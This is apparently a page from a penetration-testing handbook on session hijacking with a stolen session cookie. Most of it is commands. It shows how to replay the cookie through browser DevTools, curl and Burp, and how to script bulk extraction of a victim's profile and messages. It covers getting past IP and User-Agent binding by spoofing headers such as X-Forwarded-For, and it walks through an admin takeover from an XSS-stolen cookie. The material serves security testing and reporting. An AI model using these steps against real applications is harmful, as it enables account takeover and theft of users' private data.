Skip to content

Hijacking

Once you have a victim’s session cookie, hijacking is purely mechanical - open a browser, paste the cookie, navigate. The cookie is the authentication. No password prompt, no further check. Three tool patterns cover essentially every hijacking scenario:

# 1. Browser DevTools - fastest for human-driven verification
# F12 → Storage → Cookies → double-click value → paste stolen cookie → refresh
# 2. curl - best for scripting and automation
curl -b 'auth-session=eyJhbGciOi...; PHPSESSID=ab4530f4...' \
http://target/account/
# 3. Burp Repeater - best for iterative manual exploration
# Send any request to Repeater → edit the Cookie header → Send
# Use "Match and Replace" rules for whole-session swap during browsing

Success indicator: a request you make returns the victim’s view of the application - their account page renders as if they’d logged in, their data is visible, the username shown is theirs and not yours.

Web apps issue a session cookie at login. Every subsequent request to a protected resource is authorized by that cookie. The server looks up the session record server-side using the cookie’s value as the key and uses that record to know “this is user X.” The cookie’s value is the credential for the duration of the session. Theft is logical equivalence to login.

This sounds trivial - and it is - but several operational details matter for clean, repeatable hijacking.

The fastest way to demonstrate a finding and the closest to “live as the victim.”

  1. Open the target’s login page or any page on the same origin
  2. Press F12 → Storage → Cookies → select the origin
  3. Double-click the value cell of the session cookie
  4. Paste the stolen value, press Enter
  5. Reload the page

You are now logged in as the victim. Every subsequent request from that browser uses the swapped cookie.

  1. Open the target on the same origin
  2. F12 → Application → Cookies → select the origin
  3. Double-click the value cell
  4. Paste, Enter, reload

The DevTools cookie editor accepts pasted values verbatim - but watch for line breaks. If you paste a value with trailing whitespace or a stray newline, the cookie won’t be valid.

Always do the swap in a private/incognito window or a fresh browser profile. Why:

  • Your own session cookie for the target is already in the regular browser; you’ll either confuse yourself about which identity is active, or accidentally use the wrong one for a critical action.
  • Private windows have no other cookies, no localStorage, no extension state - minimizes the variables.
  • When you’re done, close the window and the hijacked session disappears (assuming the cookie wasn’t Persistent).

curl is the right tool for scripted hijacking, automated enumeration of a victim’s data, and any workflow that needs hundreds of requests.

Terminal window
# Single cookie
curl -b 'auth-session=eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoianVsaWUifQ.xxx' \
http://target/account/
# Multiple cookies
curl -b 'auth-session=ABC; PHPSESSID=xyz; csrf_token=def' \
http://target/account/
# Cookie file (Netscape format)
curl -b cookies.txt http://target/account/

The cookie syntax is the same as the browser’s Cookie: header - semicolon-separated name=value pairs.

-c writes any Set-Cookie headers from responses to a file. Combined with -b, this maintains a cookie jar across requests:

Terminal window
# Initial login (or initial victim-cookie injection) - write to cookies.txt
curl -c cookies.txt -X POST \
-d 'username=victim&password=hijack' \
http://target/login
# Subsequent requests - read and write back, so any session-rotation Set-Cookies are caught
curl -b cookies.txt -c cookies.txt http://target/account/
curl -b cookies.txt -c cookies.txt http://target/messages/
curl -b cookies.txt -c cookies.txt http://target/admin/

If you only have one cookie value from a leak, you can build the cookies.txt manually:

# Netscape HTTP Cookie File
# domain HttpOnly path Secure expiration name value
target.com FALSE / FALSE 0 auth-session eyJhbGciOiJIUzI1NiJ9...

Tab-separated, one cookie per line. The 0 expiration means session cookie (expires when curl exits). Setting all flags to FALSE keeps things simple - no HttpOnly or Secure constraints matter to curl since curl doesn’t enforce them.

When the cookie has special characters or you want to send extra headers:

Terminal window
curl -H 'Cookie: auth-session=ABC; PHPSESSID=xyz' \
-H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) Firefox/115.0' \
-H 'Accept-Language: en-US,en;q=0.5' \
http://target/account/

Matching the victim’s likely User-Agent is sometimes necessary - some apps tie sessions to UA and reject a swap if the UA mismatches dramatically. Less common than tying to IP (also broken - see “Anti-hijack defenses” below) but worth knowing.

Burp’s strength is iterative manual exploration of an authenticated session.

  1. Browse the target normally (your own session)
  2. Send any authenticated request to Repeater (right-click → Send to Repeater)
  3. Edit the Cookie: header in the Repeater request - replace your session value with the victim’s
  4. Click Send

The response in Repeater is now from the victim’s perspective. Iterate freely without affecting the rest of your browsing.

To browse the entire application as the victim:

  1. Burp → Proxy → Options → Match and Replace
  2. Add rule:
    • Type: Request Header
    • Match: Cookie:.*auth-session=[^;]+
    • Replace: Cookie: auth-session=VICTIM_COOKIE_VALUE
  3. Enable the rule

Now every request your browser makes through Burp gets rewritten to use the victim’s cookie. You browse the app and Burp transparently swaps the identity.

Two cautions with Match-and-Replace:

  • Other cookies vanish. The replacement above clobbers the entire Cookie header. If the app needs other cookies (CSRF, language preference, A/B test ID), preserve them.
  • It applies to every request through Burp. Don’t forget to disable when you’re done, or your “log out” click will be ignored because Burp re-injects the victim cookie.

For the cleanest version of session-wide swap, Burp has Session Handling Rules:

  1. Project options → Sessions → Session Handling Rules → Add
  2. Scope to your target
  3. Action: Set a specific cookie value
  4. Cookie name: auth-session
  5. Value: VICTIM_COOKIE_VALUE

This is more surgical than Match-and-Replace because it only operates on the specified cookie, leaving the rest of the cookie jar intact.

When you swap a cookie in DevTools, you’re swapping only the cookie. If the app also stores session-related data in localStorage or sessionStorage, those don’t get swapped. Some apps:

  • Store the auth token in a cookie (for HttpOnly safety) AND read it via XHR (for UI display)
  • Store user preferences and the user’s ID in localStorage
  • Use a separate “remember me” token in localStorage that re-authenticates if the cookie expires

After swap, the app may behave inconsistently: server thinks you’re the victim (cookie says so) but UI shows your old account name (localStorage cache). Workaround:

  1. Clear localStorage and sessionStorage in DevTools (Application → Storage → Clear site data)
  2. Then set the cookie
  3. Then navigate to the target page (let the app re-populate localStorage from the now-victim session)

Or just open a fresh private window and only set the cookie; the empty storage is then the victim’s freshly-issued state.

Once you have a victim cookie and the app has an API endpoint, scripted extraction is fast:

Terminal window
# Dump the victim's profile
curl -s -b 'auth-session=ABC' http://target/api/profile | jq
# List all the victim's messages
curl -s -b 'auth-session=ABC' http://target/api/messages | jq '.[] | {from, subject, date}'
# Walk through paginated data
for page in $(seq 1 20); do
curl -s -b 'auth-session=ABC' "http://target/api/messages?page=$page" \
| jq -r '.[] | "\(.id)\t\(.from)\t\(.subject)"'
done

This is the right form for “I have the cookie, document what the victim has access to” - much faster than clicking through the UI.

Some apps add defenses beyond “the cookie is the credential.” Common ones:

DefenseHow it worksBypass
IP bindingServer records the IP that the session was issued for; rejects requests from different IPsIf you’re behind the same NAT, on the same VPN, or can spoof headers like X-Forwarded-For, this fails open
User-Agent bindingServer records the UA at login; rejects requests with different UAMatch the victim’s UA exactly (often visible in server logs or via User-Agent you sniffed)
Fingerprint bindingServer uses a JS fingerprint stored in cookie/localStorage at loginMore fragile - fingerprint changes constantly, browser refresh sometimes invalidates the session, defense is rarely deployed in practice
Concurrent-session limitOnly one active session per user at a time; victim’s session ends when you log in elsewhereRace the victim’s activity; or accept that you’ll log them out (alerting them)
Idle timeoutSession expires after N minutes of inactivityRe-issue requests every few minutes via automation to keep alive
Absolute timeoutSession expires after N hours regardlessRe-steal if you can; otherwise the hijack window is bounded
Re-auth for sensitive actionsSome actions (password change, payment) prompt for re-auth even mid-sessionHijack covers everything except those specific actions

When a target is behind a load balancer that sets X-Forwarded-For and the app blindly trusts it for IP-binding, you can sometimes spoof the victim’s IP:

Terminal window
curl -H 'X-Forwarded-For: 198.51.100.42' \
-b 'auth-session=ABC' \
http://target/account/

If 198.51.100.42 is the victim’s address and the app trusts X-Forwarded-For over the actual TCP peer, you’ve defeated the IP binding.

Other headers worth trying: X-Real-IP, Client-IP, X-Originating-IP, Forwarded, True-Client-IP. Bug-bounty reports have shown that nearly every header that any proxy could set has been blindly trusted by some app.

Suppose you’ve stolen this cookie via XSS:

auth-session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.xxx

Step by step:

Terminal window
# 1. Confirm it's valid
$ curl -s -o /dev/null -w '%{http_code}\n' \
-b 'auth-session=eyJhbGciOi...' \
http://target/account/
200
# 2. Pull the user identity to confirm whose session you've got
$ curl -s -b 'auth-session=eyJhbGciOi...' \
http://target/api/me | jq
{
"id": 1,
"username": "admin",
"email": "[email protected]",
"role": "administrator"
}
# 3. Pull a sensitive resource as proof
$ curl -s -b 'auth-session=eyJhbGciOi...' \
http://target/admin/users | jq '.[] | {id, username, email}' > admin-users.json
# 4. Open a private browser window for the "live" view, paste cookie, navigate
$ firefox --private-window http://target/
# 5. Demonstrate the full admin UI for the report screenshot

This is the entire post-cookie-theft workflow. Five commands, five minutes, a full account takeover.

Section titled “EditThisCookie / Cookie-Editor browser extensions”

For one-click cookie import/export between browsers and DevTools:

  • Cookie-Editor (Chrome/Firefox): paste a JSON cookie blob and it sets them all at once
  • EditThisCookie (Chrome): older, similar interface

These are convenience tools - they do nothing DevTools can’t, but the JSON-blob workflow is faster when stealing multiple cookies.

In Burp Repeater, right-click a request → Copy as curl command. The resulting curl invocation includes the cookie header verbatim. Paste, edit the cookie value to the victim’s, ready to script.

If a target serves the session cookie without Secure flag and uses plaintext HTTP for any page, Wireshark capture grabs the cookie automatically. See Obtaining tokens.

TaskCommand
Swap cookie in Firefox DevToolsF12 → Storage → Cookies → double-click value
Swap cookie in Chrome DevToolsF12 → Application → Cookies → double-click value
One-shot curl with cookiecurl -b 'name=value' http://target/path
Multiple cookiescurl -b 'a=1; b=2; c=3' URL
Cookie jar (persist & follow Set-Cookie)curl -b cookies.txt -c cookies.txt URL
Custom Cookie headercurl -H 'Cookie: name=value' URL
Burp Repeater swapSend to Repeater, edit Cookie header, Send
Burp session-wide swapMatch-and-Replace OR Session Handling Rules
Identify victimcurl -s -b 'session=X' http://target/api/me | jq
Spoof IP for IP-bound sessions-H 'X-Forwarded-For: VICTIM_IP'
Clear local storage before swapDevTools → Application → Storage → Clear site data
Defenses D3-CBV